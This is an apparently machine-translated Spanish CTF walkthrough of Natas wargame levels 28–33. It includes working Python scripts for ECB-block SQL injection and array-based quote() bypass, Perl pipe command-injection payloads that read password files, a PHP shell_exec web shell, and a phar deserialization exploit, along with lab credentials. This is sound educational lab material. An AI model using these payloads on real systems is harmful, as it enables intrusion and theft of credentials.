
En este artículo, trataremos el funcionamiento de algunas identidades WEB utilizando el juego de guerra
Natas como ejemplo. Cada nivel tiene acceso a la contraseña del siguiente nivel. Todas las contraseñas también se almacenan en los archivos / etc / natas_webpass /. Por ejemplo, la contraseña para natas5 se almacena en el archivo / etc / natas_webpass / natas5 y es de solo lectura para los usuarios natas4 y natas5.
Partes pasadas:
parte 1 ,
parte 2 ,
parte 3 y
parte 4 .
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
nivel 28
Al enviar cualquier solicitud, vemos una redirección a otra página con una solicitud extraña y codificación base64, cuya decodificación no da nada.

Enviaremos cualquier solicitud de consulta. Recibimos un error que deja en claro que la redirección utiliza cifrado y en esta página la solicitud se descifra antes de transferirse a la base de datos. Es decir, necesitamos cifrar nuestra inyección y enviarla al servidor, pero no conocemos la clave. Pero tenemos un encriptador: este es el servidor.

Primero, tratemos con el cifrado. Enviaremos dos líneas diferentes "qwerty" y "asdfgh" y analizaremos cómo se convertirán.

En respuesta, obtenemos líneas idénticas, que en cierto lugar tienen una secuencia distintiva. Dado que el principio y el final de dos PC (texto cifrado) son iguales, podemos sacar las siguientes conclusiones:
- Se utiliza el complemento inicial de OT (texto sin formato);
- hay una adición final a OT;
- Se utiliza el modo ECB , ya que en diferentes OT los últimos bloques del CT son iguales, es decir, los bloques son independientes entre sí.
La idea es esta: enviamos una consulta a la base de datos para el cifrado, pero se convertirá y, por lo tanto, al descifrar, la inyección no pasará. Es necesario lidiar con los complementos para calcular con precisión los bloques donde se cifrará nuestra carga útil. Luego, después del cifrado, tomaremos nuestros bloques de la solicitud y los enviaremos solo al servidor. En el servidor se descifrarán y, dado que no tienen complementos, se ejecutarán.
La idea se presenta en cuatro imágenes:
- Presentación de 5 bloques.
- Un codificador con adiciones iniciales y finales que encriptan una cadena vacía.
- Cifrado de la cadena "TEXTTEXTTEXTTEXT".
- Eliminamos las adiciones agregando la cantidad requerida de caracteres antes y después de nuestra línea para ponerla en un bloque separado. Tomamos de la PC solo el segundo bloque.

¡De esta manera, recibimos solo nuestra cadena encriptada en una clave desconocida para nosotros!
Datos necesarios:
- Modo de cifrado (conocido - BCE)
- Longitud del bloque (conocido - 16)
- Longitud del complemento inicial (desconocido)
- La longitud de nuestro texto (conocido - "SELECCIONAR contraseña
COMO broma de los usuarios ")
Es necesario averiguar la longitud del llenado inicial. Como los dos primeros bloques son iguales, enviaremos un número diferente de caracteres, y tan pronto como el tercer bloque deje de cambiar, encontraremos el número de caracteres necesarios para complementarlo. Estos son 10 personajes. A continuación se muestra una implementación del algoritmo anterior.
import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result)

Obtenemos la contraseña.
nivel 29
Es difícil adivinar que el código perl llama a la función de línea de comando y pasa los comandos especificados en el archivo de datos (que puede seleccionar) al comando. El hecho es que podemos cerrar la tubería desde "exec | read_command_file "en" exec | read_command | our_smd_command ".

Pero el hecho es que nuestro equipo se mostrará en la consola y no en el sitio. Para hacer esto, agregue el siguiente comando para reemplazar los caracteres en las secuencias de entrada / salida: “| tr `antes` después`.

Como se completa el comando, leeremos la contraseña del archivo especificado. Pero se nos dice que no podemos hacer esto ...

Utilizaremos el filtrado de la línea de comando e insertaremos comillas en cualquier lugar que se borrará cuando se ejecute el comando.

Le quitamos la contraseña.
nivel 30
Veamos el código fuente. Aquí se usa el método quote (), que escapa a todos los caracteres especiales en una cadena. Pero se escapa exactamente en la cadena, lo que nos da el derecho de operar la inyección, si usamos, por ejemplo, una matriz (en este caso, se aceptará un elemento cero).

Propongamos una carga para la solicitud.
Select * FROM users where username = 'username' and password = 'password';
Como sabemos que el nombre de usuario es natas31, introducimos la condición correcta en la contraseña: '' o 1. Entonces nuestra solicitud será así
Select * FROM users where username = 'natas31' and password = '' or 1;
Y ahora queda por enviar una matriz.
import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text)

Le quitamos la contraseña.
nivel 31
La esencia del servicio se aclara de inmediato: del archivo csv obtenemos la tabla en html.

Veamos el código fuente.

Entonces, ¿qué es lo más interesante: es la línea while (<$ archivo>), mientras que el archivo es la línea del parámetro. Por lo tanto, es posible ejecutar el código.

Envíe cualquier archivo csv e intercepte la solicitud en Burp Suite.

Ahora agreguemos el comando como parámetro.
?/bin/cat%20/etc/natas_webpass/natas32%20|

Para llamar a la carga desde el parámetro, agregue las siguientes líneas:
-----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV


Obtenemos la contraseña.
nivel 32
Abrimos la página donde se nos dice que necesitamos probar la ejecución del código y ejecutar el archivo webroot.

Si observa el código, es exactamente el mismo que en el nivel anterior. Luego explotamos la vulnerabilidad como la última vez. Busquemos el archivo webroot. Para hacer esto, mire el directorio, usando como carga: ls -la |

Obtenga la lista de archivos. Webroot no está allí, pero hay un extraño programa getpassword.
Lo llevamos a cabo.


Obtenemos la contraseña para el último nivel.

nivel 33
Nuevamente el formulario de carga de archivos.

Veamos el código fuente.

Por lo tanto, debemos cargar un archivo de hasta 4 MB de tamaño en el servidor y si md5 del contenido del archivo es igual al valor de referencia, se ejecutará en el intérprete php. Nosotros miramos más allá. Podemos controlar el nombre del archivo y su contenido.

Diré de inmediato que esta es una vulnerabilidad compleja que conocí hace medio año. Está dirigido al hecho de que podemos cargar un archivo de cualquier tipo al servidor y cualquier operación se realizará con su contenido. Acerca de los archivos phar se escribe
aquí . En resumen, un archivo php especial que representa datos serializados. En este caso, leer la secuencia phar conducirá a la ejecución del código. Por lo tanto, puede serializar el código y enviarlo al servidor. Al calcular md5, se leerá una secuencia, lo que conducirá a la ejecución del código.
Entonces, primero cree un archivo php que lea la bandera.
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Subirlo al servidor. No olvides cambiar el nombre en Burp Suite.


Recibimos la respuesta del servidor ... Ok. Ahora cree un archivo phar que, cuando se ejecute, cambiará los valores que necesitamos (el hash siempre será correcto y el nombre del archivo que ya se ha cargado en el servidor). Entonces pasaremos la verificación y el servidor ejecutará shell.php.
<?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?>
Antes de compilar el archivo /etc/php/xx/php.ini, debe cambiar el parámetro phar.readonly a Off.

Luego, ejecuta php shell.php y obtenemos el archivo .phar. Lo enviamos al servidor y cambiamos el nombre.

Entonces tenemos ambos archivos: archivo y shell. Ahora debe hacer que el archivo se lea del archivo, lo que conducirá a la ejecución del código.

Obtenemos la contraseña.

Esa fue la sede de Natas. Puedes unirte a nosotros en
Telegram .